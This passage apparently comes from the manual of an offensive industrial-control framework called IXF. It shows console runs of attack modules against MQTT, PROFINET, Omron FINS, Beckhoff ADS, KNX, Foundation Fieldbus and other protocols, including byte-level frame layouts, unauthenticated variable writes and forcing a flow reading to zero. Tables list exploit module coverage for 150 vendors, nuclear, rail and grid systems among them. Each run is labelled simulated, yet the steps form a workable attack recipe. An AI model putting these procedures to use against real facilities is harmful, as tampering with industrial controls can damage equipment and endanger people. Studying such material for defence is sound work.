[*] Module loaded: MQTT Anonymous Subscribe All Topics
ixf (MQTT Anonymous Subscribe All Topics) > set target 10.0.0.5
[*] target => 10.0.0.5
ixf (MQTT Anonymous Subscribe All Topics) > run
 [SIMULATE MODE — no packets sent]
 Step 1: Connect MQTT to 10.0.0.5:1883 with no credentials
 Step 2: Subscribe to wildcard topic '#' (all topics)
 Step 3: Collect all published messages:
 - Process values (temperature, pressure, flow)
 - Alarm states
 - Device configurations
 - Engineering data
 [i] In live mode: would expose all industrial telemetry to attacker
 [i] MITRE ATT&CK for ICS: T0802 (Automated Collection)

10. PROFINET DCP

Description: PROFINET DCP (Discovery and Configuration Protocol) is the Layer 2 protocol used by Siemens, Beckhoff, WAGO, and other PROFINET devices for automatic discovery and configuration. DCP runs over raw Ethernet (EtherType 0x8892) via broadcast. Malformed DCP Identify Requests can cause some devices to crash or reset (CVE-2019-13946).

Example Usage:

ixf > use exploits/protocols/profinet/profinet_dcp_flood
[*] Module loaded: PROFINET DCP Identify Flood
ixf (PROFINET DCP Identify Flood) > set interface eth0
[*] interface => eth0
ixf (PROFINET DCP Identify Flood) > run
 [SIMULATE MODE — no packets sent]
 Step 1: Craft PROFINET DCP Identify All request
 EtherType: 0x8892
 FrameID: 0xFEFE (DCP Identify All)
 ServiceID: 0x05 (Identify)
 ServiceType: 0x00 (Request)
 Step 2: Send broadcast to FF:FF:FF:FF:FF:FF
 Step 3: Collect all DCP Identify Response frames:
 - Name of Station (station name)
 - IP Address assigned
 - Device Vendor (from IANA)
 - Device Role (controller/device/supervisor)
 - Device Options (capabilities)

11. OPC DA (DCOM)

Description: OPC DA (Data Access) is the original Windows-based OPC standard, using Microsoft COM/DCOM for inter-process communication. It runs through the Windows RPC endpoint mapper (port 135) and dynamically assigned high ports. OPC DA servers are common in legacy Wonderware, Intellution (GE iFIX), and Kepware SCADA installations. DCOM configuration is notoriously complex and often left permissive.

Example Usage:

ixf > use exploits/protocols/opc_da/opc_da_tag_enum
[*] Module loaded: OPC DA Tag Enumeration via DCOM
ixf (OPC DA Tag Enumeration via DCOM) > set target 192.168.1.10
[*] target => 192.168.1.10
ixf (OPC DA Tag Enumeration via DCOM) > run
 [SIMULATE MODE — no packets sent]
 Step 1: Enumerate DCOM objects via RPC EndpointMapper (port 135)
 Step 2: Find OPC DA server ProgID: 'RSLinx.Application' or 'Kepware.KepServerEX.V6'
 Step 3: CreateInstance OPC Server object
 Step 4: IOPCServer::BrowseOPCItemIDs — enumerate all tag names and branches
 Step 5: IOPCServer::ValidateItems — validate accessible items
 Step 6: Report all tag names, data types, access rights

12. Omron FINS

Description: FINS (Factory Interface Network Service) is Omron's proprietary network protocol for CS/CJ/CP/NX/NJ series PLCs and CX-Programmer communication. FINS UDP runs on port 9600. FINS has no authentication — any host that can reach UDP/9600 can send FINS commands. The Memory Area Read command allows reading any PLC memory area (DM, I/O, HR, TIM, CNT, EM, EM extended).

Example Usage:

ixf > use exploits/protocols/fins/fins_memory_read
[*] Module loaded: Omron FINS Memory Area Read
ixf (Omron FINS Memory Area Read) > set target 192.168.1.150
[*] target => 192.168.1.150
ixf (Omron FINS Memory Area Read) > run
 [SIMULATE MODE — no packets sent]
 Step 1: Send FINS/UDP command (Memory Area Read):
 ICF: 80 RSV: 00 GCT: 02 DNA: 00 DA1: 00 DA2: 00
 SNA: 00 SA1: 08 SA2: 00
 MRC: 01 SRC: 01 (Memory Area Read command)
 Area: 82 (DM = Data Memory area)
 Addr: 00 00 Bit: 00 Count: 00 0A (10 words)
 Step 2: Receive FINS response with DM0-DM9 word values
 Step 3: Report PLC memory contents
 [i] DM area typically contains setpoints, counters, configuration data

13. Beckhoff ADS/AMS

Description: Beckhoff ADS (Automation Device Specification) / AMS (Automation Message Specification) is Beckhoff's proprietary protocol for TwinCAT PLC communication. ADS runs over TCP port 48898. With a valid AMS Net ID (typically matching the device IP), an attacker can read/write any PLC variable by name or index group, load/unload PLC programs, and stop/start the TwinCAT runtime.

Example Usage:

ixf > use exploits/protocols/ads/ads_variable_write
[*] Module loaded: Beckhoff ADS Variable Write
ixf (Beckhoff ADS Variable Write) > set target 192.168.1.80
[*] target => 192.168.1.80
ixf (Beckhoff ADS Variable Write) > run
 [SIMULATE MODE — no packets sent]
 Step 1: Connect TCP to 192.168.1.80:48898
 Step 2: Build AMS/TCP header: Net ID 192.168.1.80.1.1, Port 851 (PLC runtime)
 Step 3: ADS Write command: Index Group=0x4020 (data area), Index Offset=var_offset
 Step 4: Data: new variable value bytes
 Step 5: ADS Response: Error Code 0x0000 (success)
 [i] Impact: Arbitrary PLC variable write without authentication

14. Unitronics PCOM

Description: Unitronics PCOM is the proprietary protocol for Unitronics Vision and Unistream PLCs. Port 20256. PCOM allows full PLC memory read/write without authentication. Unitronics PLCs were famously attacked in the CISA/FBI 2023 advisory targeting water utility PLCs (Aliquippa Municipal Water Authority), where attackers accessed internet-exposed PLCs via default credentials and PCOM.

Example Usage:

ixf > use scanners/ics/pcom_scanner
[*] Module loaded: Unitronics PCOM Scanner
ixf (Unitronics PCOM Scanner) > set target 192.168.1.0/24
[*] target => 192.168.1.0/24
ixf (Unitronics PCOM Scanner) > run
 [SIMULATE MODE — no packets sent]
 Step 1: TCP connect to each host on port 20256
 Step 2: Send PCOM Info Request frame:
 /OPLC_UNIT_ID CC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \r
 Step 3: Parse response: model, OS version, application info, PLC ID
 Step 4: Report all Unitronics PLCs found with version info
 [i] Affected devices often include: Vision 700, Vision 1040, UniStream 7

15. KNX/EIB

Description: KNX/EIB is the dominant building automation protocol in Europe for residential and commercial buildings. KNXnet/IP (UDP 3671) allows control of lighting, blinds, heating, ventilation, and security systems from IP networks. Group address writes can directly control any KNX device on the bus without authentication.

Example Usage:

ixf > use exploits/protocols/knx/knx_group_write
[*] Module loaded: KNX Group Address Write
ixf (KNX Group Address Write) > set target 192.168.1.250
[*] target => 192.168.1.250
ixf (KNX Group Address Write) > set group_address "1/0/1"
[*] group_address => 1/0/1
ixf (KNX Group Address Write) > run
 [SIMULATE MODE — no packets sent]
 Step 1: Send KNXnet/IP Tunneling Request to 192.168.1.250:3671
 Step 2: CEMI L_DATA.REQ with:
 Priority: Normal
 Destination (group): 1/0/1 (typical: main lighting switch)
 APDU: GroupValueWrite (0x0080) data=0x01 (ON)
 Step 3: KNX bus devices subscribed to group 1/0/1 receive command
 Step 4: Lighting actuator activates

16. HART-IP

Description: HART (Highway Addressable Remote Transducer) is the most widely deployed field instrument protocol (>80 million devices). HART-IP (port 5094 TCP) carries HART commands over Ethernet for remote instrument access. HART devices expose: process variable, device identification, configuration parameters, and diagnostic information.

17. CANopen

Description: CANopen (CiA DS-301) is widely used in embedded machine control, robotics, and autonomous vehicles. IXF attacks CANopen via gateway TCP bridges. NMT (Network Management) commands can stop/reset any node on the CANopen network.

18. CC-Link IE Field

Description: CC-Link IE Field is Mitsubishi's high-speed Gigabit Ethernet fieldbus for MELSEC iQ-R, iQ-F, and Q/L series PLCs. Used throughout Asian manufacturing. The protocol has minimal authentication.

19. SECS/GEM (HSMS)

Description: SECS/GEM (SEMI Equipment Communications Standard / Generic Equipment Model) is the standard for semiconductor fab equipment communication. HSMS (High Speed Message Services) carries SECS over TCP port 5000. S1F1/S1F2 (Are You There / On-Line Data) leaks complete equipment identification including model, software revision, and supported streams/functions.

20. EtherCAT

Description: EtherCAT (Ethernet for Control Automation Technology) is Beckhoff's high-speed fieldbus for motion control (sub-microsecond cycle times). EtherCAT runs at Layer 2 (EtherType 0x88A4) and requires physical access to the network. An attacker on the EtherCAT segment can inject or corrupt frames.


vendors Command — Full Output

ixf > vendors
 IXF Vendor Coverage — 150 Vendors
 ═══════════════════════════════════════════════════════════════════════════
 Vendor Region CVE Modules
 ─────────────────────────────────────────────────────────────────────────
 schneider_electric EU/Global 39
 rockwell_automation Americas 38
 siemens EU/Global 27
 delta_electronics Asia 11
 omron Asia 12
 abb EU/Global 22
 honeywell Americas 20
 ge_vernova Americas 18
 emerson Americas 16
 aveva_osisoft Americas 14
 advantech Asia 15
 inductive_automation Americas 5
 tridium Americas 5
 yokogawa Asia 5
 beckhoff EU 5
 phoenix_contact EU 6
 ge_multilin Americas 4
 weintek Asia 2
 delta_controls Americas 1
 fatek Asia 2
 mitsubishi_electric Asia 3
 fanuc Asia 2
 yaskawa Asia 2
 keyence Asia 2
 panasonic Asia 1
 fuji_electric Asia 2
 jtekt Asia 2
 hiwin Asia 1
 vigor Asia 1
 ls_electric Asia 1
 hollysys Asia 2
 supcon Asia 1
 inovance Asia 1
 invt Asia 1
 chint Asia 1
 kinco Asia 1
 delixi Asia 1
 step_electric Asia 1
 wago EU 2
 pilz EU 1
 b_and_r_automation EU 2
 festo EU 1
 endress_hauser EU 2
 pepperl_fuchs EU 1
 sick_ag EU 2
 hms_networks EU 2
 belden_hirschmann EU 2
 westermo EU 1
 ruggedcom EU 2
 metso_valmet EU 1
 danfoss EU 1
 krohne EU 2
 lenze EU 1
 hilscher EU 1
 softing EU 2
 saia_burgess EU 1
 sauter_ag EU 1
 distech_controls EU 1
 sofrel EU 1
 aspentech Americas 1
 automation_direct Americas 1
 red_lion Americas 1
 opto22 Americas 1
 prosoft_technology Americas 2
 bedrock_automation Americas 1
 moore_industries Americas 1
 sensata Americas 1
 s_and_c_electric Americas 1
 compressor_controls Americas 1
 flowserve Americas 1
 weatherford Americas 1
 sierra_wireless Americas 1
 automated_logic Americas 1
 kmc_controls Americas 1
 grundfos EU/Americas 2
 westinghouse Americas 1
 weg Americas 2
 altus Americas 1
 novus Americas 1
 elipse_software Americas 2
 smar Americas 1
 digicon Americas 1
 kongsberg EU 1
 schweitzer_engineering Americas 4
 alstom_ge_power EU/Americas 2
 hitachi_energy EU/Asia 3
 landis_gyr EU 2
 itron Americas 2
 ptc_thingworx Americas 1
 cisco_industrial Americas 3
 teltonika EU 1
 framatome EU 1
 wabtec Americas 1
 thales EU 1
 ─────────────────────────────────────────────────────────────────────────
 Total: 150 vendors covered
 ═══════════════════════════════════════════════════════════════════════════
ixf > vendors europe
 Vendors — Europe (26 covered)
 ─────────────────────────────────────────────────────────────────────────
 Siemens Germany 27 CVE modules
 Schneider Electric France 39 CVE modules
 ABB Switzerland 22 CVE modules
 Beckhoff Germany 5 CVE modules
 Phoenix Contact Germany 6 CVE modules
 WAGO Germany 2 CVE modules
 Pilz Germany 1 CVE modules
 B&R Automation Austria 2 CVE modules
 Festo Germany 1 CVE modules
 Endress+Hauser Switzerland 2 CVE modules
 Pepperl+Fuchs Germany 1 CVE modules
 SICK AG Germany 2 CVE modules
 HMS Networks Sweden 2 CVE modules
 Belden/Hirschmann Germany 2 CVE modules
 Westermo Sweden 1 CVE modules
 Ruggedcom (Siemens)Germany 2 CVE modules
 Metso/Valmet Finland 1 CVE modules
 Danfoss Denmark 1 CVE modules
 Krohne Germany 2 CVE modules
 Lenze Germany 1 CVE modules
 Hilscher Germany 1 CVE modules
 Softing Germany 2 CVE modules
 Saia-Burgess Switzerland 1 CVE modules
 Sauter AG Switzerland 1 CVE modules
 Distech Controls France 1 CVE modules
 Sofrel France 1 CVE modules
ixf > vendors americas
 Vendors — Americas (31 covered)
 ─────────────────────────────────────────────────────────────────────────
 Rockwell Automation USA 38 CVE modules
 Honeywell USA 20 CVE modules
 Emerson USA 16 CVE modules
 GE / GE Vernova USA 18 CVE modules
 Inductive Automation USA 5 CVE modules
 Tridium USA 5 CVE modules
 AVEVA / OSIsoft USA 14 CVE modules
 AspenTech USA 1 CVE modules
 AutomationDirect USA 1 CVE modules
 Red Lion Controls USA 1 CVE modules
 Opto 22 USA 1 CVE modules
 ProSoft Technology USA 2 CVE modules
 Bedrock Automation USA 1 CVE modules
 Moore Industries USA 1 CVE modules
 Sensata USA 1 CVE modules
 S&C Electric USA 1 CVE modules
 Compressor Controls USA 1 CVE modules
 Flowserve USA 1 CVE modules
 Weatherford USA 1 CVE modules
 Sierra Wireless Canada 1 CVE modules
 Delta Controls Canada 1 CVE modules
 Automated Logic USA 1 CVE modules
 KMC Controls USA 1 CVE modules
 Grundfos Denmark/USA 2 CVE modules
 Westinghouse USA 1 CVE modules
 WEG Brazil 2 CVE modules
 ALTUS Brazil 1 CVE modules
 Novus Brazil 1 CVE modules
 Elipse Software Brazil 2 CVE modules
 Smar Brazil 1 CVE modules
 Digicon Brazil 1 CVE modules
ixf > vendors asia
 Vendors — Asia-Pacific (24 covered)
 ─────────────────────────────────────────────────────────────────────────
 Yokogawa Japan 5 CVE modules
 Omron Japan 12 CVE modules
 Mitsubishi Elec. Japan 3 CVE modules
 FANUC Japan 2 CVE modules
 Yaskawa Japan 2 CVE modules
 Keyence Japan 2 CVE modules
 Panasonic Japan 1 CVE modules
 Fuji Electric Japan 2 CVE modules
 JTEKT Japan 2 CVE modules
 HIWIN Taiwan 1 CVE modules
 Weintek Taiwan 2 CVE modules
 Delta Electronics Taiwan 11 CVE modules
 Fatek Automation Taiwan 2 CVE modules
 Vigor Taiwan 1 CVE modules
 LS Electric Korea 1 CVE modules
 Hollysys China 2 CVE modules
 Supcon China 1 CVE modules
 Inovance China 1 CVE modules
 INVT China 1 CVE modules
 CHINT China 1 CVE modules
 Kinco China 1 CVE modules
 Delixi China 1 CVE modules
 STEP Electric China 1 CVE modules
 Kongsberg Norway 1 CVE modules

Vendor Coverage Tables — Complete Reference

Europe

Vendor Country Key Products CVEs IXF Modules
Siemens Germany S7-1200/1500/300/400, WinCC, PCS 7, SCALANCE X, Desigo CC, SINEMA 27 cve/siemens/* (27 modules)
Schneider Electric France Modicon M340/M580/Quantum, EcoStruxure, IGSS SCADA, ConneXium, APC 39 cve/schneider/* (39 modules)
ABB Switzerland System 800xA, AC500, Relion 670, RTU500, B&R Automation (acquired) 22 cve/abb/* (22 modules)
Beckhoff Germany TwinCAT 2/3, EtherCAT, CX2040, BK9000, ADS protocol 5 cve/beckhoff/* (5 modules)
Phoenix Contact Germany PLCnext Technology, WebVisit HMI, FL mGuard firewall, Radioline 6 cve/phoenix_contact/* (6 modules)
WAGO Germany PFC100, PFC200, 750 Series I/O, Cockpit web server 2 cve/wago/* (2 modules)
Pilz Germany PNOZmulti 2, PSS4000, PITreader, PMC Safety 1 cve/pilz/* (1 module)
B&R Automation Austria APROL DCS, X20 I/O, Automation PC 910, ctrlX Drive 2 cve/b_and_r/* (2 modules)
Festo Germany CPX-AP-I, AX axis controller, CECC PLC 1 cve/festo/* (1 module)
Endress+Hauser Switzerland Fieldgate FXA42, Memograph M RSG45, VEGAPULS web server 2 cve/endress_hauser/* (2 modules)
Pepperl+Fuchs Germany IO-Link Masters, VisuNet, WirelessHART adapters 1 cve/pepperl_fuchs/* (1 module)
SICK AG Germany S3000 safety scanner, Flexi Soft, Inspector I40x camera 2 cve/sick_ag/* (2 modules)
HMS Networks Sweden Anybus X-Gateway, eWON Flexy IoT router, Ewon Talk2M 2 cve/hms_networks/* (2 modules)
Belden / Hirschmann Germany Eagle One firewall, RSPE managed switches, BAT wireless 2 cve/belden_hirschmann/* (2 modules)
Westermo Sweden Lynx managed industrial switches, Wolverine DSL 1 cve/westermo/* (1 module)
Ruggedcom (Siemens) Germany ROS (Rugged OS), ROX II, RS910 switch, RSG2100 2 cve/ruggedcom/* (2 modules)
Metso / Valmet Finland DNA DCS, neles ValvGuard, Mapex MES 1 cve/metso/* (1 module)
Danfoss Denmark VLT/VACON variable frequency drives, AK-SC255 SCADA 1 cve/danfoss/* (1 module)
Krohne Germany SUMMIT 8800 flow computers, Optiflux 5000 2 cve/krohne/* (2 modules)
Lenze Germany i550 series drives, ECS servo, L-force Controller 1 cve/lenze/* (1 module)
Hilscher Germany netX90/netX100 SoC, cifX PC cards, NXTANALYZER 1 cve/hilscher/* (1 module)
Softing Germany DataFEED OPC Suite, edgeConnector, OT Security Box 2 cve/softing/* (2 modules)
Saia-Burgess Switzerland PCD Series PLC, SBC Vision HMI, Enerex energy meter 1 cve/saia_burgess/* (1 module)
Sauter AG Switzerland moduWeb Vision building control server 1 cve/sauter/* (1 module)
Distech Controls France ECLYPSE BACnet/IP controller, EC-Net 4 1 cve/distech/* (1 module)
Sofrel France LS-4x water/wastewater RTU, SCADA-Pack Link 1 cve/sofrel/* (1 module)

Americas

Vendor Country Key Products CVEs IXF Modules
Rockwell Automation USA ControlLogix 5580, CompactLogix 5380, FactoryTalk, Studio 5000 38 cve/rockwell/* (38 modules)
Honeywell USA Experion PKS, Spyder BAS, Enraf 854 ATG, Safety Manager 20 cve/honeywell/* (20 modules)
Emerson USA DeltaV DCS, ROC800 RTU, Fisher FIELDVUE digital valve 16 cve/emerson/* (16 modules)
GE / GE Vernova USA CIMPLICITY, iFIX, GE Grid Solutions SCADA, UR protection relays 18 cve/ge/* (18 modules)
Inductive Automation USA Ignition SCADA platform, Tag Historian, WebDev 5 cve/inductive_automation/* (5 modules)
Tridium USA Niagara 4 Framework, AX Series, JACE-8000 controller 5 cve/tridium/* (5 modules)
AVEVA / OSIsoft USA AVEVA System Platform, OSIsoft PI Server, PI AF 14 cve/aveva/* (14 modules)
AspenTech USA Aspen InfoPlus.21 historian, Aspen HYSYS 1 cve/aspentech/* (1 module)
AutomationDirect USA CLICK Plus PLC, DirectLogix DL205/405, C-more HMI 1 cve/automation_direct/* (1 module)
Red Lion Controls USA Crimson 3.x HMI/SCADA, RAM 9000 RTU 1 cve/red_lion/* (1 module)
Opto 22 USA groov EPIC PR1, groov RIO EM22, groov View SCADA 1 cve/opto22/* (1 module)
ProSoft Technology USA RadioLinx ControlScape, ICX35 cellular gateway 2 cve/prosoft/* (2 modules)
Bedrock Automation USA Open Secure PLC, Bedrock Fusion controller 1 cve/bedrock/* (1 module)
Moore Industries USA SPC signal processor, NET concentrator 1 cve/moore_industries/* (1 module)
Sensata USA Beacon RTU, Dimensions wireless RTU 1 cve/sensata/* (1 module)
S&C Electric USA PureWave BESS, GeoScale switching 1 cve/s_and_c/* (1 module)
Compressor Controls USA TurboControl MkV turbine controller 1 cve/compressor_controls/* (1 module)
Flowserve USA PumpWorks 710 controller 1 cve/flowserve/* (1 module)
Weatherford USA CygNet SCADA oil & gas platform 1 cve/weatherford/* (1 module)
Sierra Wireless Canada AirLink RV55, AirLink MG90 industrial router 1 cve/sierra_wireless/* (1 module)
Delta Controls Canada ORCAview BAS controller, delta ENTELIWEB 1 cve/delta_controls/* (1 module)
Automated Logic USA WebCTRL BAS, ALC EIKON DDC controllers 1 cve/automated_logic/* (1 module)
KMC Controls USA Commander BACnet field controller 1 cve/kmc_controls/* (1 module)
Grundfos Denmark/USA CUE pump frequency converter, WebPump 2 cve/grundfos/* (2 modules)
Westinghouse USA Common Q Nuclear I&C system 1 cve/westinghouse/* (1 module)
WEG Brazil CFW-11 variable frequency drive, Motor Scan IIoT 2 cve/weg/* (2 modules)
ALTUS Brazil Duo PLC series, Next PLC, Prime HMI 1 cve/altus/* (1 module)
Novus Brazil digiRail NXT, LogBox 3G temperature controllers 1 cve/novus/* (1 module)
Elipse Software Brazil E3 SCADA, Epics, Elipse Power 2 cve/elipse/* (2 modules)
Smar Brazil ProcessView SCADA, LD303 transmitter 1 cve/smar/* (1 module)
Digicon Brazil RTU-1200 data concentrators, SCADA-Net 1 cve/digicon/* (1 module)

Asia-Pacific

Vendor Country Key Products CVEs IXF Modules
Yokogawa Japan CENTUM VP DCS, FAST/TOOLS SCADA, STARDOM FCN/FCJ 5 cve/yokogawa/* (5 modules)
Omron Japan NX701/NX1P2 controller, CJ2M, CP2E, Sysmac Studio 12 cve/omron/* (12 modules)
Mitsubishi Electric Japan MELSEC iQ-R/Q/F series, GENESIS64 SCADA, MELSOFT 3 cve/mitsubishi/* (3 modules)
FANUC Japan 0i CNC controller, Robot controller R-30iB 2 cve/fanuc/* (2 modules)
Yaskawa Japan Sigma-7 servo, MP3300 machine controller 2 cve/yaskawa/* (2 modules)
Keyence Japan KV-8000/5500 PLC, VT5 HMI, SR-G series 2 cve/keyence/* (2 modules)
Panasonic Japan FP7 PLC, FPWIN GR programming 1 cve/panasonic/* (1 module)
Fuji Electric Japan MICREX-SX, Monitouch V9 HMI, Frenic VFD 2 cve/fuji_electric/* (2 modules)
JTEKT Japan TOYOPUC PLC (PC10G/PC3J), JTEKT EtherNet/IP 2 cve/jtekt/* (2 modules)
HIWIN Taiwan MC Series motion controller, E1 servo drive 1 cve/hiwin/* (1 module)
Weintek Taiwan cMT3092X HMI, EasyBuilder Pro, cMT-SVR 2 cve/weintek/* (2 modules)
Delta Electronics Taiwan DIAEnergie EMS, AS-series PLC, DVP-series, InfraSuite 11 cve/delta_electronics/* (11 modules)
Fatek Automation Taiwan FBS Series PLC, FBs-EFCOM Ethernet 2 cve/fatek/* (2 modules)
Vigor Taiwan VH Series PLC, VE-050W HMI 1 cve/vigor/* (1 module)
LS Electric Korea XGK/XGI/XGR Series PLC, XP-Builder, LS PLC Ethernet 1 cve/ls_electric/* (1 module)
Hollysys China MACS-S DCS, HolliField safety controller 2 cve/hollysys/* (2 modules)
Supcon China JX-300XP/webField DCS, T-Guard SIS 1 cve/supcon/* (1 module)
Inovance China AM600/AM400 PLC, IS5 servo 1 cve/inovance/* (1 module)
INVT China Goodrive GD350 VFD, CHV series 1 cve/invt/* (1 module)
CHINT China NTCP2.0 smart circuit breaker, CHINT EMS 1 cve/chint/* (1 module)
Kinco China K5 Series PLC, MT5000 HMI 1 cve/kinco/* (1 module)
Delixi China CDN Series PLC, CDS5 servo 1 cve/delixi/* (1 module)
STEP Electric China AC301E VFD, STEP SV-X2 servo 1 cve/step_electric/* (1 module)

Energy / Power Grid Specialized

Vendor Country Key Products CVEs IXF Modules
Schweitzer Engineering (SEL) USA SEL-351 relay, SEL-5037/5056 software, SEL-651R 4 cve/schweitzer/* (4 modules)
Alstom / GE Power EU/USA P40 Agile protection relay, T60 transformer protection 2 cve/alstom/* (2 modules)
Hitachi Energy (ABB) EU/Asia RTU500, Relion 670/630 series, PCM600, MicroSCADA 3 cve/hitachi_energy/* (3 modules)
GE Multilin Canada 850F relay, D60 line differential, F60 feeder 2 cve/ge_multilin/* (2 modules)
Landis+Gyr Switzerland E360 smart meter, Gridstream RF network 2 cve/landis_gyr/* (2 modules)
Itron USA Riva C smart meter, OpenWay Riva, NetworkManager 2 cve/itron/* (2 modules)
Kongsberg Norway K-Pos dynamic positioning, K-Bridge navigation 1 cve/kongsberg/* (1 module)

Maritime / Rail / Nuclear Specialized

Vendor Category Key Products CVEs IXF Modules
Wabtec Railway EVO locomotive SCADA, Locotrol distributed power 1 cve/wabtec/* (1 module)
Framatome Nuclear TELEPERM XP I&C, SIREN nuclear plant system 1 cve/framatome/* (1 module)
Westinghouse Nuclear Common Q platform, PRIME I&C 1 cve/westinghouse/* (1 module)
Thales Critical infra SCADA railway signaling, air traffic management 1 cve/thales/* (1 module)

ICS Networking / IIoT Platforms

Vendor Category Key Products CVEs IXF Modules
Cisco Industrial ICS Networking IR809/IR829, IE3400, IE4000, Industrial Network Director 3 cve/cisco_industrial/* (3 modules)
PTC / ThingWorx IIoT Platform ThingWorx Industrial IoT, Kepware OPC Server 1 cve/ptc/* (1 module)
Teltonika ICS Networking RUT955/TRB500 industrial cellular router 1 cve/teltonika/* (1 module)
HMS Networks ICS Networking Anybus X-Gateway, eWON Flexy, Ewon Talk2M 2 cve/hms_networks/* (2 modules)

Adding Coverage for a New Vendor or Device

To test an uncovered vendor, use protocol-specific scanners and generic credential modules:

# Discover devices on OT subnet
ixf > use scanners/ics/modbus_scanner
ixf > set target 192.168.1.0/24
ixf > run
# Protocol-specific scan after discovery
ixf > use scanners/ics/s7_comm_scanner
ixf > set target 192.168.1.50
ixf > run
# Generic default credential test
ixf > use creds/generic/http_default
ixf > set target 192.168.1.50
ixf > set port 80
ixf > run
# SNMP community string test (covers many vendors)
ixf > use creds/generic/snmp_community
ixf > set target 192.168.1.50
ixf > run

Protocol Security Summary Table

A consolidated security posture reference for all 50 protocols:

Protocol Auth Encryption Integrity Risk if Exposed IXF Attack Severity
Modbus TCP None None None CRITICAL HIGH
Modbus RTU None None None CRITICAL HIGH
Siemens S7comm None None None CRITICAL HIGH
Siemens S7comm+ TLS (hardcoded key) TLS (broken) TLS CRITICAL HIGH
EtherNet/IP (CIP) Optional Optional Optional CRITICAL HIGH
PROFINET DCP None None None HIGH HIGH
DNP3 (base) None None None CRITICAL HIGH
DNP3 (SAv5) HMAC None HMAC MEDIUM MEDIUM
BACnet/IP None None None HIGH HIGH
BACnet/SC TLS + cert TLS TLS LOW LOW
IEC 60870-5-104 None None None CRITICAL HIGH
IEC 61850 MMS Optional (TLS) Optional Optional HIGH HIGH
IEC 61850 GOOSE Optional (HMAC) None Optional CRITICAL HIGH
OPC UA (None) None None None CRITICAL HIGH
OPC UA (Sign+Encrypt) Cert TLS TLS LOW LOW
OPC DA (DCOM) Windows auth None None HIGH MEDIUM
Omron FINS None None None CRITICAL HIGH
Unitronics PCOM None None None CRITICAL HIGH
Beckhoff ADS None None None CRITICAL HIGH
MQTT (anonymous) None None None HIGH HIGH
MQTT (TLS+auth) Username/cert TLS TLS LOW LOW
SNMP v1/v2c Community string None None HIGH MEDIUM
SNMP v3 (AuthPriv) HMAC + priv AES HMAC LOW LOW
PROFIBUS DP (via gw) None None None HIGH MEDIUM
HART-IP Optional Optional Optional MEDIUM MEDIUM
CANopen None None None HIGH MEDIUM
CC-Link None None None HIGH MEDIUM
EtherCAT None None None HIGH HIGH
KNX/IP Optional Optional Optional HIGH HIGH
LonWorks None None None MEDIUM MEDIUM
SECS/GEM (HSMS) None None None HIGH MEDIUM

Protocol Port Reference — Quick Lookup

Port Protocol Transport Notes
102 Siemens S7comm / S7comm+ / IEC 61850 MMS TCP COTP over TCP; also used for MMS
135 OPC DA/DCOM TCP RPC endpoint mapper; dynamic high ports
161 SNMP UDP v1/v2c/v3; OT devices frequently exposed
502 Modbus TCP TCP Most common OT port; always unauthenticated
1883 MQTT TCP IIoT messaging; often anonymous
2404 IEC 60870-5-104 TCP RTU SCADA communications
3671 KNX/EIBnet UDP European building automation
4840 OPC UA TCP Also 4843 (HTTPS variant)
5094 HART-IP TCP HART over Ethernet
5000 SECS/GEM (HSMS) TCP Semiconductor fab equipment
7000 FL-NET UDP Fuji/JTEKT (Japan)
9600 Omron FINS UDP/TCP Omron CS/CJ/NJ PLCs
20000 DNP3 TCP/UDP Power grid RTUs
20111 Yokogawa Vnet/IP TCP CENTUM VP DCS
20256 Unitronics PCOM TCP Vision/Unistream PLCs
44818 EtherNet/IP (CIP) TCP Rockwell, Omron; also 2222/UDP for I/O
47808 BACnet/IP UDP Building automation
48898 Beckhoff ADS/AMS TCP TwinCAT runtime
61450 CC-Link UDP Mitsubishi fieldbus
L2 (0x8892) PROFINET DCP Ethernet Broadcast discovery; no IP
L2 (0x88A4) EtherCAT Ethernet High-speed motion control
L2 (0x88B8) IEC 61850 GOOSE Ethernet Protection relay fast-trip

Protocol Example 21: PROFIBUS DP

Description: PROFIBUS DP (Decentralized Peripherals) is Siemens' master-slave fieldbus for device-level automation. It connects PLCs (masters) to distributed I/O, drives, and instruments (slaves). PROFIBUS DP runs over RS-485 at up to 12 Mbit/s. Access via IXF requires a PROFIBUS-to-Ethernet gateway (Anybus X-Gateway, HMS, or Siemens CP 5622).

IXF Attack Vector:

ixf > use exploits/protocols/profibus/profibus_read
ixf > set target 192.168.1.1 # gateway IP
ixf > set slave_addr 3 # PROFIBUS slave address
ixf > run
 [SIMULATE MODE — no packets sent]
 Step 1: Connect to gateway TCP on 192.168.1.1
 Step 2: Send PROFIBUS DP diagnostic request to slave 3
 Step 3: Read parameter block (PROFIBUS DP slot 0, index 0)
 Step 4: Enumerate available slaves from GSD configuration

Protocol Example 22: FOUNDATION Fieldbus H1

Description: FOUNDATION Fieldbus H1 is a digital replacement for 4-20mA analog instrumentation, used in oil & gas, chemical, and pharmaceutical plants. H1 operates at 31.25 kbit/s over twisted pair. Access via IXF requires an FF-to-IP HSE linking device (Emerson DeltaV, National Instruments FieldPoint, or Yokogawa).

Security Issues:

  • FF H1 has no native authentication or encryption
  • Function block parameters (setpoints, alarm limits, cascade outputs) are writable from the HSE backbone
  • Subscriber function blocks can be overridden from any HSE host

IXF Example:

ixf > use exploits/protocols/foundation_fieldbus/ff_block_write
ixf > set target 10.0.0.5 # HSE linking device IP
ixf > set tag "FI-1001/AI1/PV"
ixf > run
 [SIMULATE MODE — no packets sent]
 Step 1: Connect to HSE linking device (TCP 1089)
 Step 2: Send FF HSE SetValue PDU for function block FI-1001 AI1
 Step 3: Write PV value override to 0.0 (process variable forced)
 Step 4: Flow indicator FI-1001 now reads 0 regardless of actual flow

Protocol Example 23: LonWorks / LonTalk

Description: LonWorks (Local Operating Network) is used in building automation (street lighting, HVAC, metering) and some transportation systems. LonWorks uses the LonTalk protocol over twisted pair, power line, or IP (LonWorks/IP, port 1628 UDP). The LonWorks Wink command causes devices to flash their LED for identification — an adversary can use this to enumerate all devices or to disrupt operations via a rapid wink storm.

IXF Example:

ixf > use exploits/protocols/lonworks/lon_wink
ixf > set target 192.168.50.1 # LonWorks/IP router
ixf > run
 [SIMULATE MODE — no packets sent]
 Step 1: Send LonWorks/IP UDP datagram to 192.168.50.1:1628
 Step 2: Encode LonTalk Wink command (Network Variable output)
 Step 3: All LonWorks devices on this channel respond/flash
 Step 4: Build device inventory from responses
 [i] More impactful: write Network Variable output to control value

Protocol Example 24: SECS/GEM (HSMS)

